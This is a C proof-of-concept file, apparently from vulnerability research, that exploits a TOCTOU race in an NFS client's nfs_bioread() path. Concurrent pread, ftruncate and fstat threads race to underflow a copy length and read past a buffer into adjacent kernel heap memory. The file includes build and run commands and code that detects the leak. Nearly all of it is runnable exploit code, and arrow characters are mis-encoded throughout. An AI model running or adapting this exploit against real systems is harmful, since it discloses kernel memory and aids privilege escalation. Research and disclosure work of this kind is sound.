DF-0799 / toctou_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 | /* * DF-0799 PoC β VREG read np->n_size TOCTOU race (enhanced) * * Bug: nfs_bio.c nfs_bioread() VREG path caches np->n_size at line 224 * (EOF check) then re-reads it at line 259-260 to clamp the copy count. * Between those two reads, nfs_doio() at line 242 sleeps for the READ RPC. * A concurrent ftruncate() on another thread calls nfs_meta_setsize() * which sets np->n_size = (smaller value). When nfs_bioread resumes: * * line 259: if (loffset + boff + n > np->n_size) * line 260: n = np->n_size - loffset - boff; // uint64 underflow! * * np->n_size is u_quad_t; loffset+boff > n_size after truncate β n wraps * to ~UINT64_MAX. Then uiomovebp(bp, bp->b_data+boff, ~UINT64_MAX, uio) * copies min(~UINT64_MAX, uio_resid) bytes from the biosize buffer into * userspace, reading past the bp buffer into adjacent kernel heap. * * Harness: * - Opens an NFS-mounted file * - Thread A: pread() from a high offset, requesting >> biosize bytes * - Thread B: ftruncate() to 0 then re-extend + rewrite, in a tight loop * - Thread C (optional): stat() spammer to also exercise getattrcache path * - Detection: if pread returns > 0 bytes when fstat() says size==0, * the TOCTOU fired. Bytes past biosize that are non-pattern are OOB * kernel heap leak. * * Build: cc -O2 -o toctou_race toctou_race.c -lpthread * Run: ./toctou_race /mnt/testfile */ #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> #include <errno.h> #define FILE_SIZE (64 * 1024) #define READ_OFFSET (32 * 1024) /* block 4 β beyond where truncateβ0 reduces n_size */ #define READ_SIZE (32 * 1024) /* request 32K β if underflow, 24K read past 8K biosize buf */ #define BIOSIZE 8192 #define PATTERN 0xAA #define ITERS 200000 static volatile int running = 1; static volatile int toctou_count = 0; static volatile int oob_leak_count = 0; static const char *g_path; static int g_fd_writer; static void * writer_thread(void *arg) { int fd = g_fd_writer; char fill[4096]; memset(fill, PATTERN, sizeof(fill)); while (running) { /* Truncate to 0 β nfs_meta_setsize sets np->n_size=0 synchronously. * nvtruncbuf invalidates block buffers beyond offset 0. */ if (ftruncate(fd, 0) < 0) { perror("ftruncate 0"); break; } /* Re-extend and re-populate so reader's next iteration sees * a large n_size (EOF check at nfs_bio.c:224 passes) and an * uncached block (nfs_doio at :242 blocks β race window). */ if (ftruncate(fd, FILE_SIZE) < 0) { perror("ftruncate ext"); break; } for (off_t off = 0; off < FILE_SIZE; off += sizeof(fill)) if (pwrite(fd, fill, sizeof(fill), off) != (ssize_t)sizeof(fill)) break; } return NULL; } static void * stat_thread(void *arg) { int fd = open(g_path, O_RDONLY); if (fd < 0) return NULL; struct stat st; while (running) { fstat(fd, &st); /* exercises nfs_getattrcache β potential nfs_meta_setsize */ } close(fd); return NULL; } static void * reader_thread(void *arg) { int fd, i; unsigned char buf[READ_SIZE]; fd = open(g_path, O_RDONLY); if (fd < 0) { perror("reader open"); return NULL; } for (i = 0; i < ITERS && running; i++) { ssize_t n; struct stat st; memset(buf, 0x00, sizeof(buf)); n = pread(fd, buf, READ_SIZE, READ_OFFSET); if (n <= 0) continue; /* Check the file size right after the read. * If file is 0 but pread returned > 0 bytes, the TOCTOU fired: * the EOF check at nfs_bio.c:224 saw n_size >= 32768 (file was large), * but by line 259 n_size was reduced to 0 β underflow β uiomovebp * copied n bytes from the biosize buffer. */ if (fstat(fd, &st) == 0 && st.st_size == 0) { int j, oob_found = 0; toctou_count++; printf("[TOCTOU #%d iter=%d] pread offset=%d returned %zd bytes, " "but fstat says file size = %lld\n", toctou_count, i, READ_OFFSET, n, (long long)st.st_size); /* Show hex dump of first 64 bytes */ printf(" hex[0..63]: "); for (j = 0; j < 64 && j < n; j++) printf("%02x", buf[j]); printf("\n"); /* Check for non-pattern data past biosize β kernel heap leak. * In a normal read, all bytes should be PATTERN (0xAA). * Bytes past biosize (8192) that are non-pattern = kernel heap. */ if (n > BIOSIZE) { for (j = BIOSIZE; j < n; j++) { if (buf[j] != PATTERN && buf[j] != 0x00) { printf(" [OOB HEAP LEAK] byte[%d]=0x%02x " "(past biosize=%d, not pattern 0x%02x, not zero)\n", j, buf[j], BIOSIZE, PATTERN); oob_found = 1; break; } } /* Even all-zero past biosize is an OOB read β normal read * from offset 32768 of a 64K file returns 0xAA for ALL bytes */ if (!oob_found) { printf(" [OOB READ] %zd bytes past biosize buffer are 0x00 " "(kernel memory, not file data 0x%02x)\n", n - BIOSIZE, PATTERN); oob_found = 1; } } else { /* n <= BIOSIZE but file was 0 β still TOCTOU but less dramatic */ for (j = 0; j < n; j++) { if (buf[j] != PATTERN) { printf(" [unexpected data] byte[%d]=0x%02x\n", j, buf[j]); oob_found = 1; break; } } } if (oob_found) { oob_leak_count++; if (oob_leak_count >= 5) { running = 0; break; } } } } close(fd); return NULL; } int main(int argc, char **argv) { pthread_t reader, writer, statter; int fd; if (argc < 2) { fprintf(stderr, "usage: %s <nfs-file>\n", argv[0]); return 1; } g_path = argv[1]; /* Initialize the file */ fd = open(g_path, O_RDWR | O_CREAT, 0666); if (fd < 0) { perror("open init"); return 1; } ftruncate(fd, FILE_SIZE); { char fill[4096]; memset(fill, PATTERN, sizeof(fill)); for (off_t off = 0; off < FILE_SIZE; off += sizeof(fill)) pwrite(fd, fill, sizeof(fill), off); } fsync(fd); g_fd_writer = fd; printf("DF-0799 TOCTOU race harness (enhanced)\n"); printf("File: %s\n", g_path); printf("Read: offset=%d size=%d (biosize=%d)\n", READ_OFFSET, READ_SIZE, BIOSIZE); printf("Iterations: %d\n", ITERS); printf("---\n"); fflush(stdout); pthread_create(&reader, NULL, reader_thread, NULL); pthread_create(&writer, NULL, writer_thread, NULL); pthread_create(&statter, NULL, stat_thread, NULL); pthread_join(reader, NULL); running = 0; pthread_join(writer, NULL); pthread_join(statter, NULL); printf("---\n"); printf("TOCTOU events (pread>0 when file size==0): %d\n", toctou_count); printf("OOB leak confirmations: %d\n", oob_leak_count); if (oob_leak_count > 0) { printf("VERDICT: TOCTOU CONFIRMED β read returned data from a 0-byte file,\n"); printf(" reading past the biosize buffer into adjacent kernel memory.\n"); return 0; } else if (toctou_count > 0) { printf("VERDICT: TOCTOU triggered β pread returned >0 from truncated file.\n"); return 0; } else { printf("VERDICT: not triggered in %d iterations.\n", ITERS); return 1; } } |